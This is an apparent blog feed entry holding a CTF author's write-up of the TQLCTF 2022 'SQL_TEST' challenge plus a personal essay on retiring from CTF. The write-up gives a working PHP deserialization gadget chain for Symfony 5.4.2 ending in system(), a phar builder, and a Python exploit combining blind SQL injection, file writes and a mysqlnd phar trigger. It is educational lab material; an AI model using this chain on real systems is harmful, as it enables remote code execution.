<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>gml&#39;s blog</title>
  
  <subtitle>不念过往，不畏将来。</subtitle>
  <link href="https://igml.top/atom.xml" rel="self"/>
  
  <link href="https://igml.top/"/>
  <updated>2022-02-21T02:54:41.301Z</updated>
  <id>https://igml.top/</id>
  
  <author>
    <name>gml-sec</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>TQLCTF-SQL_TEST出题笔记</title>
    <link href="https://igml.top/2022/02/20/TQLCTF2022/"/>
    <id>https://igml.top/2022/02/20/TQLCTF2022/</id>
    <published>2022-02-20T08:37:20.000Z</published>
    <updated>2022-02-21T02:54:41.301Z</updated>
    
    <content type="html"><![CDATA[<p>本次TQLCTF算是Redbud第一次参与全国赛的命题和组织（也大概率是我最后一次参与，文末有退役老选手的小作文hhh），所以想给大家出一道有趣新颖的题目。一直没什么idea，所以想着找个框架挖一挖链子算了，但是可能比较俗，所以结合了mysql写文件，并加了一个独特的phar反序列化触发点。</p><p>题目环境：<a href="https://github.com/gml-sec/My-CTF-Challenges/tree/main/2022-TQLCTF-SQL_TEST">https://github.com/gml-sec/My-CTF-Challenges/tree/main/2022-TQLCTF-SQL_TEST</a></p><a id="more"></a><h2 id="出题思路"><a href="#出题思路" class="headerlink" title="出题思路"></a>出题思路</h2><p>选框架挖链子花了挺长时间，一些常见框架比如laravel、thinkphp等被挖烂了，最后发现Symfony5新版本似乎没啥链子，但是本人没有挖掘出最新版本RCE的链子，选了5.4.2版本挖了条链子。（测试中发现直接拿phpggc中Monolog的链子就能打，就把Monolog的依赖给删了）</p><p>众所周知mysql读写文件只能secure_file_path目录下进行，那如果这个目录不是常见路径就意味着无法写文件了么？显然不是，如果我们有注入之类的可以通过注入获取到这个目录，这道题目就是加了这个考点。</p><p>关于phar反序列化的触发点，参考了zsx这篇<a href="https://blog.zsxsoft.com/post/38">https://blog.zsxsoft.com/post/38</a>，去翻了下php关于mysql相关源码，在<code>ext/mysqlnd/mysqlnd_auth.c</code>下有关caching_sha2_password认证的操作里找到了对<code>php_stream_open_wrapper</code>的调用。</p><p>将以上这三点结合起来，最终出了这道题，以下是完整题解。</p><h2 id="题解"><a href="#题解" class="headerlink" title="题解"></a>题解</h2><p>题目给了源码，是基于Symfony框架开发，版本是5.4.2。审计源码发现只有一个TestController：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">App</span>\<span class="title">Controller</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">use</span> <span class="title">Symfony</span>\<span class="title">Bundle</span>\<span class="title">FrameworkBundle</span>\<span class="title">Controller</span>\<span class="title">AbstractController</span>;</span><br><span class="line"><span class="keyword">use</span> <span class="title">Symfony</span>\<span class="title">Component</span>\<span class="title">HttpFoundation</span>\<span class="title">Response</span>;</span><br><span class="line"><span class="keyword">use</span> <span class="title">Symfony</span>\<span class="title">Component</span>\<span class="title">Routing</span>\<span class="title">Annotation</span>\<span class="title">Route</span>;</span><br><span class="line"><span class="keyword">use</span> <span class="title">Symfony</span>\<span class="title">Component</span>\<span class="title">HttpFoundation</span>\<span class="title">Request</span>;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">TestController</span> <span class="keyword">extends</span> <span class="title">AbstractController</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@Route</span>(&quot;/test&quot;, name=&quot;test&quot;)</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">index</span>(<span class="params">Request $request</span>): <span class="title">Response</span></span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        $con = mysqli_init();</span><br><span class="line">        $key = $request-&gt;query-&gt;get(<span class="string">&#x27;key&#x27;</span>);</span><br><span class="line">        $value = $request-&gt;query-&gt;get(<span class="string">&#x27;value&#x27;</span>);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (is_numeric($key) &amp;&amp; is_string($value)) &#123;</span><br><span class="line">            mysqli_options($con, $key, $value);</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        mysqli_options($con, MYSQLI_OPT_LOCAL_INFILE, <span class="number">0</span>);</span><br><span class="line">        <span class="keyword">if</span> (!mysqli_real_connect($con, <span class="string">&quot;127.0.0.1&quot;</span>, <span class="string">&quot;ctf&quot;</span>, <span class="string">&quot;gmlsec123456&quot;</span>, <span class="string">&quot;mysql&quot;</span>)) &#123;</span><br><span class="line">            $content = <span class="string">&#x27;数据库连接失败&#x27;</span>;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            $content = <span class="string">&#x27;数据库连接成功&#x27;</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        mysqli_close($con);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> Response(</span><br><span class="line">            $content,</span><br><span class="line">            Response::HTTP_OK,</span><br><span class="line">            [<span class="string">&#x27;content-type&#x27;</span> =&gt; <span class="string">&#x27;text/html&#x27;</span>]</span><br><span class="line">        );</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>可以控制一个mysqli_options 的选项，然后连接本地数据库。</p><h3 id="执行任意SQL语句"><a href="#执行任意SQL语句" class="headerlink" title="执行任意SQL语句"></a>执行任意SQL语句</h3><p>查阅mysqli_options 函数的相关文档：</p><p><img src="/2022/02/20/TQLCTF2022/image-20220220170538668.png" alt="image-20220220170538668"></p><p>很明显发现可以设置建立 MySQL 连接之后要执行的 SQL 语句。</p><p>php 7的环境下打印下<code>MYSQLI_INIT_COMMAND</code>的值：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">~  php -a</span><br><span class="line">Interactive shell</span><br><span class="line"></span><br><span class="line">php &gt; <span class="built_in">echo</span> MYSQLI_INIT_COMMAND;</span><br><span class="line">3</span><br><span class="line">php &gt;</span><br></pre></td></tr></table></figure><p>尝试 <code>/index.php/test?key=3&amp;value=select%20sleep(3)</code>，延时成功。因为没有回显，可以采用时间盲注的方式获取数据。（经测试，<code>select if(1,(select exp(1000)),0)</code>这种通过是否报错进行布尔盲注的方式不可以）</p><p>显然flag肯定不在数据库里（可以通过时间盲注获取数据也会发现没有任何新创建的数据库和表）。现在我们可以执行一条mysql的命令，尝试堆叠发现无果，create database、insert、update数据失败，load_file读取/etc/passwd也是失败。这时猜想是否题目设置了 <code>secure_file_priv</code>， 尝试获取<code>secure_file_priv</code>目录。</p><p>平时我们经常使用的方式是 <code>show global variables like &#39;%secure_file_priv%&#39;</code>，现在没有回显，我们需要时间盲注的方式获取。我们还可以通过<code>select @@global.secure_file_priv</code>进行获取并进行盲注：</p><p><img src="/2022/02/20/TQLCTF2022/image-20220220170632680.png" alt="image-20220220170632680"></p><p>可以通过时间盲注得到目录：<code>/tmp/53ca05a8a6854dc2cdceeeaf52671f27</code>（这个目录在实际比赛中是动态的）</p><p>这个目录明显是故意设置，所以肯定这里是利用点。我们不知道这个目录下有什么文件，但是我们可以向这个目录任意写文件。Symfony 5.4.2 的版本并没有什么漏洞，所以通过文件包含getshell不太可能，我们可以自然想到可以通过写入phar文件，触发反序列化getshell。</p><p>要通过phar触发反序列化进行getshell，要有POP链和触发点。首先关注POP链，phpggc上最新的链子是 5.2 版本的，经过分析无法成功利用。将源码与 Symfony 5.4.2 的源码对比，发现去除了 Monolog 的依赖，Monolog的链子也利用不了，需要挖掘一条新的POP链。</p><h3 id="挖掘POP链"><a href="#挖掘POP链" class="headerlink" title="挖掘POP链"></a>挖掘POP链</h3><p>寻找__destruct方法，因为有一些类都存在 __wakeup方法，所以剩下的也不多。剩下的类 __destruct方法调用也很乱，所以尝试搜索 __call 方法，看看有什么可以利用的。在vendor/symfony/cache/Traits/RedisProxy.php 定义的<code>RedisProxy</code>类存在__call方法：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__call</span>(<span class="params"><span class="keyword">string</span> $method, <span class="keyword">array</span> $args</span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">$this</span>-&gt;ready ?: <span class="keyword">$this</span>-&gt;ready = <span class="keyword">$this</span>-&gt;initializer-&gt;__invoke(<span class="keyword">$this</span>-&gt;redis);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">$this</span>-&gt;redis-&gt;&#123;$method&#125;(...$args);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>我们可以调用任意类的 __invoke 方法，并且参数可控。寻找可利用的 __invoke，在vendor/doctrine/doctrine-bundle/Dbal/SchemaAssetsFilterManager.php定义的<code>SchemaAssetsFilterManager</code>类：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/** <span class="doctag">@param</span> string|AbstractAsset $assetName */</span></span><br><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__invoke</span>(<span class="params">$assetName</span>): <span class="title">bool</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">foreach</span> (<span class="keyword">$this</span>-&gt;schemaAssetFilters <span class="keyword">as</span> $schemaAssetFilter) &#123;</span><br><span class="line">        <span class="keyword">if</span> ($schemaAssetFilter($assetName) === <span class="literal">false</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以发现明显的动态函数调用，并且函数名和参数都可控。与之类似的vendor/symfony/console/Helper/Dumper.php 定义的<code>Dumper</code>类，这个更直接一些：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__invoke</span>(<span class="params">$var</span>): <span class="title">string</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">return</span> (<span class="keyword">$this</span>-&gt;handler)($var);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>所以现在我们只需在 __destruct 中找到任意一个可控变量对任意函数的调用即可，类似<code>$xxxx-&gt;xxxx()</code>，这应该不难寻找，在vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php中定义的<code>CacheAdapter</code>类：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">$this</span>-&gt;commit();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>跟进：</p><p><img src="/2022/02/20/TQLCTF2022/image-20220220170844516.png" alt="image-20220220170844516"></p><p>至此，getshell 的POP链已经完成。exp：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">//namespace Doctrine\Bundle\DoctrineBundle\Dbal &#123;</span></span><br><span class="line"><span class="comment">//    class SchemaAssetsFilterManager</span></span><br><span class="line"><span class="comment">//    &#123;</span></span><br><span class="line"><span class="comment">//        private $schemaAssetFilters;</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">//        public function __construct()</span></span><br><span class="line"><span class="comment">//        &#123;</span></span><br><span class="line"><span class="comment">//            $this-&gt;schemaAssetFilters = array(&#x27;system&#x27;);</span></span><br><span class="line"><span class="comment">//        &#125;</span></span><br><span class="line"><span class="comment">//    &#125;</span></span><br><span class="line"><span class="comment">//&#125;</span></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">Symfony</span>\<span class="title">Component</span>\<span class="title">Console</span>\<span class="title">Helper</span> &#123;</span><br><span class="line">    <span class="title">class</span> <span class="title">Dumper</span></span><br><span class="line">    &#123;</span><br><span class="line">        <span class="title">private</span> $<span class="title">handler</span>;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">        </span>&#123;</span><br><span class="line">            <span class="keyword">$this</span>-&gt;handler = <span class="string">&#x27;system&#x27;</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">Symfony</span>\<span class="title">Component</span>\<span class="title">Cache</span>\<span class="title">Traits</span> &#123;</span><br><span class="line">    <span class="title">class</span> <span class="title">RedisProxy</span></span><br><span class="line">    &#123;</span><br><span class="line">        <span class="title">private</span> $<span class="title">redis</span>;</span><br><span class="line">        <span class="keyword">private</span> $initializer;</span><br><span class="line">        <span class="keyword">private</span> $ready = <span class="literal">false</span>;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">        </span>&#123;</span><br><span class="line">            <span class="keyword">$this</span>-&gt;redis = <span class="string">&#x27;id&#x27;</span>;</span><br><span class="line">            <span class="keyword">$this</span>-&gt;initializer = <span class="keyword">new</span> \Symfony\Component\Console\Helper\Dumper();</span><br><span class="line"><span class="comment">//            $this-&gt;initializer = new \Doctrine\Bundle\DoctrineBundle\Dbal\SchemaAssetsFilterManager();</span></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">Doctrine</span>\<span class="title">Common</span>\<span class="title">Cache</span>\<span class="title">Psr6</span> &#123;</span><br><span class="line">    <span class="title">class</span> <span class="title">CacheAdapter</span></span><br><span class="line">    &#123;</span><br><span class="line">        <span class="title">private</span> $<span class="title">deferredItems</span>;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">        </span>&#123;</span><br><span class="line">            <span class="keyword">$this</span>-&gt;deferredItems = <span class="keyword">array</span>(<span class="keyword">new</span> \Symfony\Component\Cache\Traits\RedisProxy());</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> &#123;</span><br><span class="line">    $<span class="title">a</span> = <span class="title">new</span> <span class="title">Doctrine</span>\<span class="title">Common</span>\<span class="title">Cache</span>\<span class="title">Psr6</span>\<span class="title">CacheAdapter</span>();</span><br><span class="line">    $phar = <span class="keyword">new</span> Phar(<span class="string">&#x27;test.phar&#x27;</span>);</span><br><span class="line">    $phar-&gt;stopBuffering();</span><br><span class="line">    $phar-&gt;setStub(<span class="string">&quot;GIF89a&quot;</span> . <span class="string">&quot;&lt;?php __HALT_COMPILER(); ?&gt;&quot;</span>);</span><br><span class="line">    $phar-&gt;addFromString(<span class="string">&#x27;test.txt&#x27;</span>, <span class="string">&#x27;test&#x27;</span>);</span><br><span class="line">    $phar-&gt;setMetadata($a);</span><br><span class="line">    $phar-&gt;stopBuffering();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>本地测试该POP链可用。</p><h3 id="寻找触发点"><a href="#寻找触发点" class="headerlink" title="寻找触发点"></a>寻找触发点</h3><p>现在只剩触发点，我们可控的就只有一对key和value，查看其他可以设置的选项，发现<code>MYSQLI_SERVER_PUBLIC_KEY</code>这个选项涉及文件操作，这个选项指定SHA-256 认证模式下，要使用的 RSA 公钥文件。</p><p>mysql8.0 之前的版本中默认的身份验证方式是mysql_native_password, 而在mysql8.0之后变为了<code>caching_sha2_password</code>。相信很多人在用php连接mysql8的时候都会出现错误情况，去搜基本都是由于默认的身份验证方式改变了。caching_sha2_password实现了SHA-256 认证，并且在服务器端使用缓存以获得更好的性能。官方文档：<a href="https://dev.mysql.com/doc/refman/8.0/en/caching-sha2-pluggable-authentication.html">https://dev.mysql.com/doc/refman/8.0/en/caching-sha2-pluggable-authentication.html</a></p><p>查阅文档可以发现，客户端有两种方式指定服务端的公钥：一种是从服务端请求公钥，然后服务端将公钥发松给客户端；另外一种是客户端本地指定服务端公钥的路径：</p><p><img src="/2022/02/20/TQLCTF2022/image-20220220171123191.png" alt="image-20220220171123191"></p><p>上面提到的<code>MYSQLI_SERVER_PUBLIC_KEY</code>选项便是指定服务端公钥的路径。</p><p>那么既然这里存在读取文件的可能，是否可以触发phar反序列化呢？查阅PHP源码，在ext/mysqlnd/mysqlnd_auth.c 中可以找到<code>mysqlnd_caching_sha2_get_key</code>函数的实现：</p><p><img src="/2022/02/20/TQLCTF2022/image-20220220171142745.png" alt="image-20220220171142745"></p><p>可以看到，调用了php_stream_open_wrapper，因此可以来触发phar反序列化。</p><p>现在过程很明确：可以生成phar文件，通过mysql写入目录，再通过<code>MYSQLI_SERVER_PUBLIC_KEY</code>触发反序列化执行命令。</p><p>但是经过尝试发现最终触发失败，回显依然是数据库连接成功。这是因为caching_sha2_password认证方式下服务器端会使用缓存，如果不指定公钥连接就是向服务器请求key，所以一旦请求一次成功连接会保留着缓存，导致不会去加载我们指定的公钥。</p><p>查阅资料发现缓存存储在内存中：<a href="https://dba.stackexchange.com/questions/218190/where-is-the-cache-for-the-mysql-caching-sha2-password-auth-plugin-stored">https://dba.stackexchange.com/questions/218190/where-is-the-cache-for-the-mysql-caching-sha2-password-auth-plugin-stored</a>, <code>FLUSH PRIVILEGES</code>即可。这里0ops战队的解法也比较巧妙，通过修改用户密码，导致连接失败，同样会触发加载公钥的操作。</p><p>最终exp：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br></pre></td><td class="code"><pre><span class="line">import requests, <span class="keyword">string</span>, random, os, time</span><br><span class="line"></span><br><span class="line">url = <span class="string">&quot;http://127.0.0.1:7001&quot;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">def req(key, value):</span><br><span class="line">    resp = requests.get(url + <span class="string">&quot;/index.php/test&quot;</span>, params=&#123;<span class="string">&#x27;key&#x27;</span>: key, <span class="string">&#x27;value&#x27;</span>: value&#125;)</span><br><span class="line">    <span class="keyword">return</span> resp</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">def get_secure_file_priv():</span><br><span class="line">    char_list = <span class="string">&quot;_/&quot;</span> + <span class="keyword">string</span>.ascii_letters + <span class="keyword">string</span>.digits</span><br><span class="line">    template = <span class="string">&quot;select if((select substr(@@global.secure_file_priv,%s,1)=&#x27;%s&#x27;),sleep(2),1)&quot;</span></span><br><span class="line">    data = <span class="string">&#x27;&#x27;</span></span><br><span class="line">    <span class="keyword">for</span> i in range(<span class="number">1</span>, <span class="number">100</span>):</span><br><span class="line">        flag = <span class="literal">False</span></span><br><span class="line">        <span class="keyword">for</span> c in char_list:</span><br><span class="line">            resp = req(<span class="string">&#x27;3&#x27;</span>, template % (i, c))</span><br><span class="line">            <span class="keyword">if</span> resp.elapsed.seconds &gt; <span class="number">1.5</span>:</span><br><span class="line">                data += c</span><br><span class="line">                flag = <span class="literal">True</span></span><br><span class="line">                <span class="keyword">print</span>(data)</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">        <span class="keyword">if</span> not flag:</span><br><span class="line">            <span class="keyword">print</span>(<span class="string">&quot;end!&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> data</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">def exp(secure_file_path):</span><br><span class="line">    filename = <span class="string">&quot;&quot;</span>.join(random.sample(<span class="keyword">string</span>.ascii_letters, <span class="number">6</span>)) + <span class="string">&#x27;.phar&#x27;</span></span><br><span class="line">    file = os.path.join(secure_file_path, filename)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># write phar file</span></span><br><span class="line">    hex_data = open(<span class="string">&quot;test.phar&quot;</span>, <span class="string">&quot;rb&quot;</span>).read().hex()</span><br><span class="line">    command = <span class="string">&quot;select 0x&#123;&#125; into dumpfile &#x27;&#123;&#125;&#x27;&quot;</span>.format(hex_data, file)</span><br><span class="line">    req(<span class="string">&#x27;3&#x27;</span>, command)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># check file exists</span></span><br><span class="line">    command = <span class="string">&quot;select if((ISNULL(load_file(&#x27;&#123;&#125;&#x27;))),sleep(2),1)&quot;</span>.format(file)</span><br><span class="line">    <span class="keyword">if</span> req(<span class="string">&#x27;3&#x27;</span>, command).elapsed.seconds &gt; <span class="number">1.5</span>:</span><br><span class="line">        <span class="keyword">print</span>(<span class="string">&quot;file write fail!&quot;</span>)</span><br><span class="line">        <span class="keyword">exit</span>()</span><br><span class="line"></span><br><span class="line">    <span class="comment"># clean the cache</span></span><br><span class="line">    req(<span class="string">&#x27;3&#x27;</span>,<span class="string">&quot;FLUSH PRIVILEGES&quot;</span>)</span><br><span class="line">    time.sleep(<span class="number">2</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># trigger unserialize</span></span><br><span class="line">    resp = req(<span class="string">&#x27;35&#x27;</span>, <span class="string">&#x27;phar://&#x27;</span> + file)</span><br><span class="line">    <span class="keyword">print</span>(resp.text)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    secure_file_path = get_secure_file_priv()</span><br><span class="line">    <span class="comment"># secure_file_path = &#x27;/tmp/1ba652f29a29b74c5c7abb1abf6ba36e/&#x27;</span></span><br><span class="line">    exp(secure_file_path)</span><br></pre></td></tr></table></figure><h2 id="写在最后"><a href="#写在最后" class="headerlink" title="写在最后"></a>写在最后</h2><p>题目出完后预估难度中上，但没想到把大家都卡住了… 可能这个题很难一眼看出整个解题的思路，所以放了hint避免选手走歪了。出题不易，耗费了将近一周的时间，只希望大家玩的开心。</p><p>这次比赛后自己也算是正式退役了hhh，以后基本也不会再打比赛了（跟着TD摸鱼DEFCON真香）。回想自己这将近三年半的CTF经历，真是感慨万千。</p><p>直至现在，最开始每次比赛自己准时打开电脑兴致冲冲打开题目，然后毫无思路最后关闭电脑的画面依然历历在目。当时的NEX断层非常严重，学长忙毕业、找工作、考研等等，作为新人的我们几乎是全靠自己摸索前进。</p><p>后来大二下暑假参加XMan夏令营，才算是真正入门CTF，认识了小西、博栋、iromise等等厉害的师傅们，也认识了一群热爱CTF、热爱安全的小伙伴，还有欣蕾、扣肉这些带给我很大帮助的朋友们，这是我在XMan夏令营最大的收获。到后面与cxc，t1an5t这些NEX的小伙伴一起参加大大小小的比赛，才逐渐成长起来。</p><p>再到后来，自己保研进THU加入Redbud，进来后发现学长基本都退了。在种种外界因素影响下，战队同样面临巨大的断层问题，战队甚至无法保证每个方向有1-2个活跃人员。所幸我们通过招新成功招来思齐（@mcfx）和脑王（@nano）这样的神仙选手，加上xuanxuan、hustcw等小伙伴，几个人艰难支撑着Redbud。我们在212奋战的时候最常感慨的就是，别的战队人怎么这么多，怎么这么厉害hhh。惊奇的是，在大部分高校战队被卷死，联队为王的环境下，我们还取得了不错的成绩（当然大部分功劳可能还是mcfx和nano），但Web方向依然很挣扎，很多时候基本是我一人自闭。</p><p>对于CTF，吸引我的除了金钱、四处旅游等物质奖励，更多的是逼迫自己快速学习以及解出一道题时的快感。在我开始打CTF的时候，CTF是迅速入门安全的较好方式，但现在CTF尤其国内越来越卷，已经几乎成了劝退安全最好的方式了。加之现在CTF圈各方面鱼龙混杂，对于新人来说入门CTF就好像踏入了商场一样。之前陆队@Zeddy发过一个讨论CTF价值观的话题，我个人的感受是CTFer应该享受CTF，享受比赛的乐趣，攻防的快感，解题的成就感等等，不要把CTF当成安全的全部，也不要为了CTF而CTF，那样自己会越来越累，并且毫无收获。</p><p>到如今，一方面自己老了熬不动夜了，比赛也逐渐跟不上节奏了；一方面自己毕业压力也很大（论文太难了要毕不了业了orz），再坚持下去，自己可能也变成“为了CTF而CTF”了。今后自己需要专注于毕业，找工作这些事情了。最后希望更多的人能享受CTF，也希望Redbud能够传承下去屹立不倒hhh。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;本次TQLCTF算是Redbud第一次参与全国赛的命题和组织（也大概率是我最后一次参与，文末有退役老选手的小作文hhh），所以想给大家出一道有趣新颖的题目。一直没什么idea，所以想着找个框架挖一挖链子算了，但是可能比较俗，所以结合了mysql写文件，并加了一个独特的phar反序列化触发点。&lt;/p&gt;
&lt;p&gt;题目环境：&lt;a href=&quot;https://github.com/gml-sec/My-CTF-Challenges/tree/main/2022-TQLCTF-SQL_TEST&quot;&gt;https://github.com/gml-sec/My-CTF-Challenges/tree/main/2022-TQLCTF-SQL_TEST&lt;/a&gt;&lt;/p&gt;</summary>
    
    
    
    <category term="CTF" scheme="https://igml.top/categories/CTF/"/>
    
    <category term="wp" scheme="https://igml.top/categories/CTF/wp/"/>
    
